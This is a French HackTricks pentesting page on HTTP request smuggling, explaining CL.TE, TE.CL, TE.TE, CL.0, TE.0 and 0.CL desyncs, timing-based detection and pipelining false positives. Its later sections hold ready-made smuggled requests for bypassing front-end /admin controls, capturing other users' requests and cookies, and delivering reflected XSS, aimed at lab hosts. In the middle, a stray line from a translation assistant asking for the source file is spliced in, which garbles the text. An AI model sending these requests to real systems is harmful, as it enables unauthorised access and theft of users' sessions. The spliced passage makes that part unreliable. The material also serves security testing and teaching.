HTTP Request Smuggling / HTTP Desync Attack
Reading time: 36 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que c'est
Cette vulnĂ©rabilitĂ© survient lorsqu'une dĂ©synchronisation entre les front-end proxies et le serveur back-end permet Ă un attaquant d'envoyer une requĂȘte HTTP qui sera interprĂ©tĂ©e comme une seule requĂȘte par les front-end (load balancer/reverse-proxy) et comme 2 requĂȘtes par le serveur back-end.
Cela permet Ă un utilisateur de modifier la requĂȘte suivante qui arrive au back-end aprĂšs la sienne.
Théorie
Si un message est reçu avec Ă la fois un champ d'en-tĂȘte Transfer-Encoding et un champ d'en-tĂȘte Content-Length, ce dernier DOIT ĂȘtre ignorĂ©.
Content-Length
L'en-tĂȘte d'entitĂ© Content-Length indique la taille du corps de l'entitĂ©, en octets, envoyĂ© au destinataire.
Transfer-Encoding: chunked
L'en-tĂȘte Transfer-Encoding spĂ©cifie la forme d'encodage utilisĂ©e pour transfĂ©rer en toute sĂ©curitĂ© le corps de la charge utile vers l'utilisateur.
Chunked signifie que les données volumineuses sont envoyées en une série de chunks.
Réalité
Le Front-End (un load-balancer / Reverse Proxy) traite l'en-tĂȘte Content-Length ou l'en-tĂȘte Transfer-Encoding et le serveur Back-End traite l'autre, provoquant une dĂ©synchronisation entre les deux systĂšmes.
Ceci peut ĂȘtre trĂšs critique car un attaquant pourra envoyer une requĂȘte au reverse proxy qui sera interprĂ©tĂ©e par le serveur back-end comme 2 requĂȘtes distinctes. Le danger de cette technique rĂ©side dans le fait que le back-end interprĂ©tera la 2Ăšme requĂȘte injectĂ©e comme si elle provenait du client suivant et la vraie requĂȘte de ce client fera partie de la requĂȘte injectĂ©e.
Particularités
Rappelez-vous qu'en HTTP un caractÚre de nouvelle ligne est composé de 2 octets :
- Content-Length : Cet en-tĂȘte utilise un nombre dĂ©cimal pour indiquer le nombre d'octets du corps de la requĂȘte. Le corps est censĂ© se terminer au dernier caractĂšre, une nouvelle ligne n'est pas nĂ©cessaire en fin de requĂȘte.
- Transfer-Encoding : Cet en-tĂȘte utilise dans le corps un nombre hexadĂ©cimal pour indiquer le nombre d'octets du chunk suivant. Le chunk doit se terminer par une nouvelle ligne, mais cette nouvelle ligne n'est pas comptĂ©e par l'indicateur de longueur. Cette mĂ©thode de transfert doit se terminer par un chunk de taille 0 suivi de 2 nouvelles lignes :
0
- Connection : D'aprÚs mon expérience, il est recommandé d'utiliser
Connection: keep-alive
sur la premiĂšre requĂȘte du Request Smuggling.
Visible - Hidden
Le problĂšme principal avec HTTP/1.1 est que toutes les requĂȘtes transitent par le mĂȘme socket TCP ; donc si une discordance est trouvĂ©e entre deux systĂšmes recevant des requĂȘtes, il est possible d'envoyer une requĂȘte qui sera traitĂ©e comme 2 requĂȘtes diffĂ©rentes (ou plus) par le back-end final (ou mĂȘme des systĂšmes intermĂ©diaires).
This blog post propose de nouvelles maniÚres de détecter les attaques de désynchronisation sur un systÚme qui ne seraient pas détectées par les WAFs. Pour cela il présente les comportements Visible vs Hidden. L'objectif dans ce cas est d'essayer de trouver des discordances dans la réponse en utilisant des techniques qui pourraient causer des desyncs sans réellement exploiter quoi que ce soit.
Par exemple, envoyer une requĂȘte avec l'en-tĂȘte Host normal et un en-tĂȘte " host" (avec un espace), si le back-end se plaint de cette requĂȘte (peut-ĂȘtre parce que la valeur de " host" est incorrecte), cela peut signifier que le front-end n'a pas pris en compte l'en-tĂȘte " host" tandis que le back-end l'a utilisĂ©, ce qui implique trĂšs probablement une dĂ©synchronisation entre front-end et back-end.
Ceci serait une discordance Hidden-Visible.
Si le front-end avait pris en compte l'en-tĂȘte " host" mais que le back-end ne l'a pas fait, cela pourrait ĂȘtre une situation Visible-Hidden.
Par exemple, cela a permis de découvrir des desyncs entre AWS ALB en front-end et IIS en back-end. C'était parce que lorsque "Host: foo/bar" était envoyé, l'ALB retournait 400, Server; awselb/2.0
, mais lorsque "Host : foo/bar" était envoyé, il retournait 400, Server: Microsoft-HTTPAPI/2.0
, indiquant que le back-end envoyait la réponse. C'est une situation Hidden-Visible (H-V).
Notez que cette situation n'est pas corrigĂ©e dans AWS, mais elle peut ĂȘtre Ă©vitĂ©e en configurant routing.http.drop_invalid_header_fields.enabled
et routing.http.desync_mitigation_mode = strictest
.
Exemples de base
tip
Lors de tentatives d'exploitation avec Burp Suite désactivez Update Content-Length
et Normalize HTTP/1 line endings
dans le repeater car certains gadgets abusent des newlines, carriage returns et des Content-Length malformés.
Les attaques de HTTP request smuggling sont construites en envoyant des requĂȘtes ambiguĂ«s qui exploitent des discordances dans la façon dont les front-end et back-end interprĂštent les en-tĂȘtes Content-Length
(CL) et Transfer-Encoding
(TE). Ces attaques peuvent se manifester sous diffĂ©rentes formes, principalement CL.TE, TE.CL, et TE.TE. Chaque type reprĂ©sente une combinaison unique de la maniĂšre dont les front-end et back-end priorisent ces en-tĂȘtes. Les vulnĂ©rabilitĂ©s apparaissent lorsque les serveurs traitent la mĂȘme requĂȘte de façons diffĂ©rentes, conduisant Ă des rĂ©sultats inattendus et potentiellement malveillants.
Exemples basiques de types de vulnérabilité
tip
Au tableau précédent vous devriez ajouter la technique TE.0, semblable à la technique CL.0 mais utilisant Transfer-Encoding.
CL.TE Vulnerability (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
-
Front-End (CL) : Traite la requĂȘte en se basant sur l'en-tĂȘte
Content-Length
. -
Back-End (TE) : Traite la requĂȘte en se basant sur l'en-tĂȘte
Transfer-Encoding
. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte oĂč la valeur de l'en-tĂȘte
Content-Length
ne correspond pas à la longueur réelle du contenu. -
Le front-end transmet la requĂȘte entiĂšre au back-end, en se basant sur la valeur de
Content-Length
. -
Le back-end traite la requĂȘte comme chunked Ă cause de l'en-tĂȘte
Transfer-Encoding: chunked
, interprĂ©tant les donnĂ©es restantes comme une requĂȘte sĂ©parĂ©e et ultĂ©rieure. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
-
Front-End (TE) : Traite la requĂȘte en se basant sur l'en-tĂȘte
Transfer-Encoding
. -
Back-End (CL) : Traite la requĂȘte en se basant sur l'en-tĂȘte
Content-Length
. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte chunked oĂč la taille du chunk (
7b
) et la longueur réelle du contenu (Content-Length: 4
) ne correspondent pas. -
Le front-end, respectant
Transfer-Encoding
, transmet l'intĂ©gralitĂ© de la requĂȘte au back-end. -
Le back-end, respectant
Content-Length
, ne traite que la premiĂšre partie de la requĂȘte (7b
octets), laissant le reste faire partie d'une requĂȘte ultĂ©rieure non voulue. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding utilisé par les deux, avec obfuscation)
-
Serveurs : Les deux supportent
Transfer-Encoding
, mais l'un peut ĂȘtre trompĂ© pour l'ignorer via de l'obfuscation. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte avec des en-tĂȘtes
Transfer-Encoding
obfusqués. -
Selon lequel des serveurs (front-end ou back-end) ne reconnaĂźt pas l'obfuscation, une vulnĂ©rabilitĂ© CL.TE ou TE.CL peut ĂȘtre exploitĂ©e.
-
La partie non traitĂ©e de la requĂȘte, telle que vue par l'un des serveurs, devient partie d'une requĂȘte ultĂ©rieure, conduisant au smuggling.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length utilisé par le Front-End et le Back-End)
- Les deux serveurs traitent la requĂȘte uniquement en se basant sur l'en-tĂȘte
Content-Length
. - Ce scĂ©nario ne conduit gĂ©nĂ©ralement pas au smuggling, car il y a alignement dans la façon dont les deux serveurs interprĂštent la longueur de la requĂȘte.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Se rĂ©fĂšre aux scĂ©narios oĂč l'en-tĂȘte
Content-Length
est prĂ©sent et a une valeur autre que zĂ©ro, indiquant que le corps de la requĂȘte contient des donnĂ©es. Le back-end ignore l'en-tĂȘteContent-Length
(qui est traitĂ© comme 0), mais le front-end l'analyse. - C'est crucial pour comprendre et construire des attaques de smuggling, car cela influence la maniĂšre dont les serveurs dĂ©terminent la fin d'une requĂȘte.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Comme le précédent mais en utilisant TE.
- Technique reported here
- Exemple:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL
Scénario
Dans une situation 0.CL
, une requĂȘte est envoyĂ©e avec un Content-Length comme :
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
Et le front-end ne prend pas en compte le Content-Length
, donc il n'envoie au backend que la premiĂšre requĂȘte (jusqu'au 7 dans l'exemple). Cependant, le backend voit le Content-Length
et attend un corps qui n'arrive jamais, car le front-end attend déjà la réponse.
En revanche, s'il existe une requĂȘte qu'il est possible d'envoyer au backend et qui reçoit une rĂ©ponse avant que le corps de la requĂȘte n'ait Ă©tĂ© reçu, cet interblocage ne se produira pas. Dans IIS par exemple, cela se produit en envoyant des requĂȘtes vers des noms interdits comme /con
(voir la documentation). De cette façon, la requĂȘte initiale recevra une rĂ©ponse directe et la seconde requĂȘte contiendra la requĂȘte de la victime comme :
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Ceci est utile pour provoquer un desync, mais cela n'aura eu aucun impact jusqu'à présent.
Cependant, l'article propose une solution pour cela en convertissant une 0.CL attack into a CL.0 with a double desync.
Faire planter le serveur web
Cette technique est aussi utile dans des scĂ©narios oĂč il est possible de faire planter un serveur web lors de la lecture des donnĂ©es HTTP initiales mais sans fermer la connexion. De cette façon, le corps de la requĂȘte HTTP sera considĂ©rĂ© comme la requĂȘte HTTP suivante.
Par exemple, comme expliquĂ© dans this writeup, dans Werkzeug il Ă©tait possible d'envoyer certains caractĂšres Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP avait Ă©tĂ© créée avec l'en-tĂȘte Connection: keep-alive
, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, si bien que le corps de la requĂȘte sera traitĂ© comme la requĂȘte HTTP suivante.
Forçage via hop-by-hop headers
En abusant des hop-by-hop headers, vous pouvez indiquer au proxy de supprimer l'en-tĂȘte Content-Length ou Transfer-Encoding, ce qui permettrait d'abuser du HTTP request smuggling.
Connection: Content-Length
For more information about hop-by-hop headers visit:
Trouver HTTP Request Smuggling
Identifier des vulnĂ©rabilitĂ©s de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps de rĂ©ponse du serveur Ă des requĂȘtes manipulĂ©es. Ces techniques sont particuliĂšrement utiles pour dĂ©tecter les vulnĂ©rabilitĂ©s CL.TE et TE.CL. En plus de ces mĂ©thodes, d'autres stratĂ©gies et outils peuvent ĂȘtre utilisĂ©s pour trouver de telles vulnĂ©rabilitĂ©s :
Finding CL.TE Vulnerabilities Using Timing Techniques
-
Méthode :
-
Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le serveur back-end attendra des donnĂ©es supplĂ©mentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation :
-
Le front-end traite la requĂȘte en se basant sur
Content-Length
et coupe le message prématurément. -
Le back-end, s'attendant à un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un délai.
-
Indicateurs :
-
Timeouts ou longs délais de réponse.
-
Réception d'une erreur 400 Bad Request depuis le back-end, parfois avec des informations détaillées sur le serveur.
Finding TE.CL Vulnerabilities Using Timing Techniques
-
Méthode :
-
Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le serveur back-end attendra des donnĂ©es supplĂ©mentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation :
- Le front-end traite la requĂȘte en se basant sur
Transfer-Encoding
et transfÚre l'ensemble du message. - Le back-end, s'attendant à un message basé sur
Content-Length
, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
Autres méthodes pour trouver des vulnérabilités
- Differential Response Analysis :
- Envoyer des versions lĂ©gĂšrement variĂ©es d'une requĂȘte et observer si les rĂ©ponses du serveur diffĂšrent de maniĂšre inattendue, indiquant une divergence de parsing.
- Using Automated Tools :
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnĂ©rabilitĂ©s en envoyant diverses formes de requĂȘtes ambiguĂ«s et en analysant les rĂ©ponses.
- Content-Length Variance Tests :
- Envoyer des requĂȘtes avec des valeurs
Content-Length
variables qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gÚre ces discordances. - Transfer-Encoding Variance Tests :
- Envoyer des requĂȘtes avec des en-tĂȘtes
Transfer-Encoding
obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à ces manipulations.
The Expect: 100-continue
header
VĂ©rifiez comment cet en-tĂȘte peut aider Ă exploiter un http desync dans :
HTTP Request Smuggling Vulnerability Testing
AprĂšs avoir confirmĂ© l'efficacitĂ© des techniques de timing, il est crucial de vĂ©rifier si les requĂȘtes client peuvent ĂȘtre manipulĂ©es. Une mĂ©thode simple consiste Ă tenter de poisoner vos requĂȘtes, par exemple faire en sorte qu'une requĂȘte vers /
retourne un 404. Les exemples CL.TE
et TE.CL
discutĂ©s prĂ©cĂ©demment dans Basic Examples montrent comment empoisonner la requĂȘte d'un client pour provoquer un 404, alors que le client vise une ressource diffĂ©rente.
Considérations clés
Lors de tests de request smuggling en interfĂ©rant avec d'autres requĂȘtes, gardez Ă l'esprit :
- Distinct Network Connections : Les requĂȘtes "attack" et "normal" doivent ĂȘtre envoyĂ©es sur des connexions rĂ©seau distinctes. Utiliser la mĂȘme connexion pour les deux ne valide pas la prĂ©sence de la vulnĂ©rabilitĂ©.
- Consistent URL and Parameters : Essayez d'utiliser des URL et noms de paramĂštres identiques pour les deux requĂȘtes. Les applications modernes routent souvent les requĂȘtes vers des back-ends spĂ©cifiques en fonction de l'URL et des paramĂštres. Les faire correspondre augmente la probabilitĂ© que les deux requĂȘtes soient traitĂ©es par le mĂȘme serveur, condition nĂ©cessaire pour une attaque rĂ©ussie.
- Timing and Racing Conditions : La requĂȘte "normal", destinĂ©e Ă dĂ©tecter l'interfĂ©rence de la requĂȘte "attack", est en compĂ©tition avec d'autres requĂȘtes concurrentes de l'application. Envoyez donc la requĂȘte "normal" immĂ©diatement aprĂšs la requĂȘte "attack". Les applications trĂšs chargĂ©es peuvent nĂ©cessiter plusieurs essais pour une confirmation concluante.
- Load Balancing Challenges : Les front-ends agissant comme des load balancers peuvent rĂ©partir les requĂȘtes sur plusieurs back-ends. Si les requĂȘtes "attack" et "normal" aboutissent sur des systĂšmes diffĂ©rents, l'attaque Ă©chouera. Cet aspect du load balancing peut nĂ©cessiter plusieurs tentatives pour confirmer une vulnĂ©rabilitĂ©.
- Unintended User Impact : Si votre attaque affecte involontairement la requĂȘte d'un autre utilisateur (et non la requĂȘte "normal" que vous avez envoyĂ©e pour la dĂ©tection), cela indique que votre attaque a influencĂ© un autre utilisateur de l'application. Des tests rĂ©pĂ©tĂ©s pourraient perturber d'autres utilisateurs ; procĂ©dez avec prudence.
Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
La rĂ©utilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans des outils de test qui envoient plusieurs requĂȘtes sur la mĂȘme socket. Apprenez Ă distinguer les artefacts inoffensifs cĂŽtĂ© client des vrais desyncs cĂŽtĂ© serveur.
Why pipelining creates classic false positives
HTTP/1.1 rĂ©utilise une seule connexion TCP/TLS et concatĂšne requĂȘtes et rĂ©ponses sur le mĂȘme flux. En pipelining, le client envoie plusieurs requĂȘtes Ă la suite et attend des rĂ©ponses dans l'ordre. Un faux positif classique est de renvoyer deux fois une payload malformĂ©e de style CL.0 sur une seule connexion :
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Je nâai pas reçu le contenu du fichier. Merci de coller ici le contenu de src/pentesting-web/http-request-smuggling/README.md Ă traduire en français. Je conserverai strictement la syntaxe Markdown/HTML et nâeffectuerai pas la traduction des Ă©lĂ©ments indiquĂ©s (code, noms de techniques, mots-clĂ©s comme leak, pentesting, noms de plateformes, liens, chemins, balises, etc.).
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Si le serveur a ignoré le Content_Length
malformĂ©, il n'y a pas de dĂ©synchronisation FEâBE. Lors de la rĂ©utilisation, votre client a en rĂ©alitĂ© envoyĂ© ce flux d'octets, que le serveur a analysĂ© comme deux requĂȘtes indĂ©pendantes :
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact : aucun. Vous venez simplement de désynchroniser votre client par rapport au cadrage du serveur.
tip
Modules Burp dépendant de reuse/pipelining : Turbo Intruder avec requestsPerConnection>1
, Intruder avec "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" ou "Enable connection reuse".
Tests de vérification : pipelining ou vraie désynchronisation ?
- Désactivez le reuse et retestez
- Dans Burp Intruder/Repeater, désactivez HTTP/1 reuse et évitez "Send group in sequence".
- Dans Turbo Intruder, mettez
requestsPerConnection=1
etpipeline=False
. - Si le comportement disparaĂźt, il sâagissait probablement de pipelining cĂŽtĂ© client, sauf si vous avez affaire Ă des targets connectionâlocked/stateful ou Ă une dĂ©synchronisation cĂŽtĂ© client.
- Vérification HTTP/2 nested-response
- Envoyez une requĂȘte HTTP/2. Si le corps de la rĂ©ponse contient une rĂ©ponse HTTP/1 complĂšte imbriquĂ©e, vous avez prouvĂ© un bug de parsing/dĂ©synchronisation cĂŽtĂ© backend plutĂŽt quâun simple artefact client.
- Sonde de partial-requests pour front-ends connectionâlocked
- Certains FEs ne réutilisent la connexion upstream que si le client a réutilisé la sienne. Utilisez des partial-requests pour détecter un comportement FE qui reflÚte la réutilisation cÎté client.
- Voir PortSwigger "BrowserâPowered Desync Attacks" pour la technique connectionâlocked.
- Probes dâĂ©tat
- Cherchez des diffĂ©rences entre la premiĂšre requĂȘte et les requĂȘtes suivantes sur la mĂȘme connexion TCP (routing/validation de la premiĂšre requĂȘte).
- Burp "HTTP Request Smuggler" inclut une sonde dâĂ©tat de connexion qui automatise cela.
- Visualisez le wire
- Utilisez lâextension Burp "HTTP Hacker" pour inspecter la concatĂ©nation et le dĂ©coupage des messages directement pendant vos essais avec reuse et partial requests.
Connectionâlocked request smuggling (reuse-required)
Certains front-ends ne rĂ©utilisent la connexion upstream que lorsque le client rĂ©utilise la sienne. Un smuggling rĂ©el existe mais est conditionnĂ© par la rĂ©utilisation cĂŽtĂ© client. Pour distinguer et prouver lâimpact :
- Prouvez le bug cÎté serveur
- Utilisez la vérification HTTP/2 nested-response, ou
- Utilisez des partial-requests pour montrer que le FE ne rĂ©utilise lâupstream que lorsque le client le fait.
- Montrez un impact rĂ©el mĂȘme si lâexploitation directe cross-user du socket est bloquĂ©e :
- Cache poisoning : poisonner les caches partagĂ©s via la dĂ©sync pour que les rĂ©ponses affectent dâautres utilisateurs.
- Internal header disclosure : reflĂ©ter des headers injectĂ©s par le FE (p.ex. headers auth/trust) et pivoter vers un contournement dâauth.
- Bypass des contrÎles FE : smuggler des paths/méthodes restreints au-delà du front-end.
- Abus du header Host : combiner avec des quirks de routage host pour pivoter vers des vhosts internes.
- Workflow opérateur
- Reproduisez avec une réutilisation contrÎlée (Turbo Intruder
requestsPerConnection=2
, ou onglet de groupe Burp Repeater â "Send group in sequence (single connection)"). - Puis enchaĂźnez vers des primitives de cache/headerâleak/controlâbypass et dĂ©montrez un impact cross-user ou dâautorisation.
Voir aussi connectionâstate attacks, qui sont Ă©troitement liĂ©es mais pas techniquement du smuggling :
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Contraintes de désynchronisation cÎté client
Si vous ciblez une dĂ©synchronisation sâappuyant sur le navigateur/client-side desync, la requĂȘte malveillante doit pouvoir ĂȘtre envoyĂ©e par un navigateur cross-origin. Les tricks dâobfuscation dâenâtĂȘtes ne fonctionneront pas. Concentrezâvous sur des primitives accessibles via navigation/fetch, puis pivotez vers cache poisoning, header disclosure ou contournement de contrĂŽles front-end lorsque des composants downstream reflĂštent ou mettent en cache les rĂ©ponses.
Pour le contexte et des workflows boutâenâbout :
Browser HTTP Request Smuggling
Outils pour aider à décider
- HTTP Hacker (Burp BApp Store) : expose le comportement HTTP bas niveau et la concaténation de sockets.
- "Smuggling or pipelining?" Burp Repeater Custom Action : https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder : contrÎle précis de la réutilisation de connexion via
requestsPerConnection
. - Burp HTTP Request Smuggler : inclut une sonde dâĂ©tat de connexion pour repĂ©rer le routing/validation de la premiĂšre requĂȘte.
note
Traitez les effets liés uniquement au reuse comme non-problématiques sauf si vous pouvez prouver une désynchronisation cÎté serveur et attacher un impact concret (artefact de cache empoisonné, header interne divulgué permettant un contournement de privilÚge, contrÎle FE contourné, etc.).
Abusing HTTP Request Smuggling
Circumventer la sécurité Front-End via HTTP Request Smuggling
Parfois, des proxies front-end appliquent des mesures de sĂ©curitĂ© et examinent les requĂȘtes entrantes. Cependant, ces contrĂŽles peuvent ĂȘtre contournĂ©s en exploitant HTTP Request Smuggling, permettant lâaccĂšs non autorisĂ© Ă des endpoints restreints. Par exemple, accĂ©der Ă /admin
peut ĂȘtre interdit depuis lâextĂ©rieur, le proxy frontâend bloquant activement de telles tentatives. NĂ©anmoins, ce proxy peut nĂ©gliger dâinspecter les requĂȘtes imbriquĂ©es dans une requĂȘte HTTP smuggled, laissant une faille pour contourner ces restrictions.
ConsidĂ©rez les exemples suivants illustrant comment HTTP Request Smuggling peut ĂȘtre utilisĂ© pour contourner les contrĂŽles de sĂ©curitĂ© front-end, ciblant spĂ©cifiquement le path /admin
qui est typiquement protégé par le proxy front-end :
Exemple CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Dans l'attaque CL.TE, l'en-tĂȘte Content-Length
est utilisĂ© pour la requĂȘte initiale, tandis que la requĂȘte imbriquĂ©e suivante utilise l'en-tĂȘte Transfer-Encoding: chunked
. Le proxy frontal traite la requĂȘte POST
initiale mais n'inspecte pas la requĂȘte imbriquĂ©e GET /admin
, ce qui permet un accÚs non autorisé au chemin /admin
.
TE.CL Exemple
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Inversement, dans l'attaque TE.CL, la requĂȘte initiale POST
utilise Transfer-Encoding: chunked
, et la requĂȘte intĂ©grĂ©e suivante est traitĂ©e selon l'en-tĂȘte Content-Length
. Comme pour l'attaque CL.TE, le proxy front-end ignore la requĂȘte dissimulĂ©e GET /admin
, accordant involontairement l'accĂšs au chemin restreint /admin
.
RĂ©vĂ©ler la réécriture des requĂȘtes front-end
Les applications utilisent souvent un serveur front-end pour modifier les requĂȘtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste Ă ajouter des en-tĂȘtes, tels que X-Forwarded-For: <IP of the client>
, pour relayer l'IP du client au back-end. Comprendre ces modifications peut ĂȘtre crucial, car cela peut rĂ©vĂ©ler des moyens de contourner des protections ou de dĂ©voiler des informations ou endpoints cachĂ©s.
Pour Ă©tudier comment un proxy modifie une requĂȘte, localisez un paramĂštre POST que le back-end réémet dans la rĂ©ponse. Ensuite, crĂ©ez une requĂȘte en plaçant ce paramĂštre en dernier, similaire Ă la suivante :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Dans cette structure, les composants suivants de la request sont ajoutés aprÚs search=
, qui est le paramÚtre reflété dans la réponse. Cette réflexion exposera les headers de la request suivante.
Il est important d'aligner le header Content-Length
de la request imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une valeur faible et de l'incrémenter progressivement : une valeur trop basse tronquera les données réfléchies, tandis qu'une valeur trop élevée peut provoquer une erreur de la request.
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la request doit se terminer par search=\r\n0
. Indépendamment des caractÚres de nouvelle ligne, les valeurs seront ajoutées au paramÚtre search.
Cette mĂ©thode sert principalement Ă comprendre les modifications de request effectuĂ©es par le front-end proxy, effectuant essentiellement une enquĂȘte auto-dirigĂ©e.
Capturer les requests des autres utilisateurs
Il est possible de capturer les requests de l'utilisateur suivant en ajoutant une request spĂ©cifique comme valeur d'un paramĂštre lors d'une opĂ©ration POST. Voici comment cela peut ĂȘtre accompli :
En ajoutant la request suivante comme valeur d'un paramĂštre, vous pouvez stocker la request du client suivant :
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Dans ce scĂ©nario, le comment parameter est destinĂ© Ă stocker le contenu de la section de commentaires d'un post sur une page accessible publiquement. Par consĂ©quent, le contenu de la requĂȘte suivante apparaĂźtra comme un commentaire.
Cependant, cette technique a des limites. En gĂ©nĂ©ral, elle capture les donnĂ©es uniquement jusqu'au dĂ©limiteur de paramĂštre utilisĂ© dans la requĂȘte smuggled. Pour les soumissions de formulaires encodĂ©es en URL, ce dĂ©limiteur est le caractĂšre &
. Cela signifie que le contenu capturĂ© par la requĂȘte de la victime s'arrĂȘtera au premier &
, qui peut mĂȘme faire partie de la query string.
De plus, il convient de noter que cette approche est Ă©galement viable avec une vulnĂ©rabilitĂ© TE.CL. Dans ces cas, la requĂȘte doit se terminer par search=\r\n0
. Indépendamment des caractÚres de nouvelle ligne, les valeurs seront ajoutées au paramÚtre search.
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling peut ĂȘtre mis Ă profit pour exploiter des pages web vulnĂ©rables Ă Reflected XSS, offrant des avantages importants :
- L'interaction avec les utilisateurs ciblés n'est pas requise.
- Permet l'exploitation de XSS dans des parties de la requĂȘte qui sont normalement inaccessibles, comme les HTTP request headers.
Dans les scĂ©narios oĂč un site est vulnĂ©rable Ă Reflected XSS via le User-Agent header, le payload suivant dĂ©montre comment exploiter cette vulnĂ©rabilitĂ© :
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
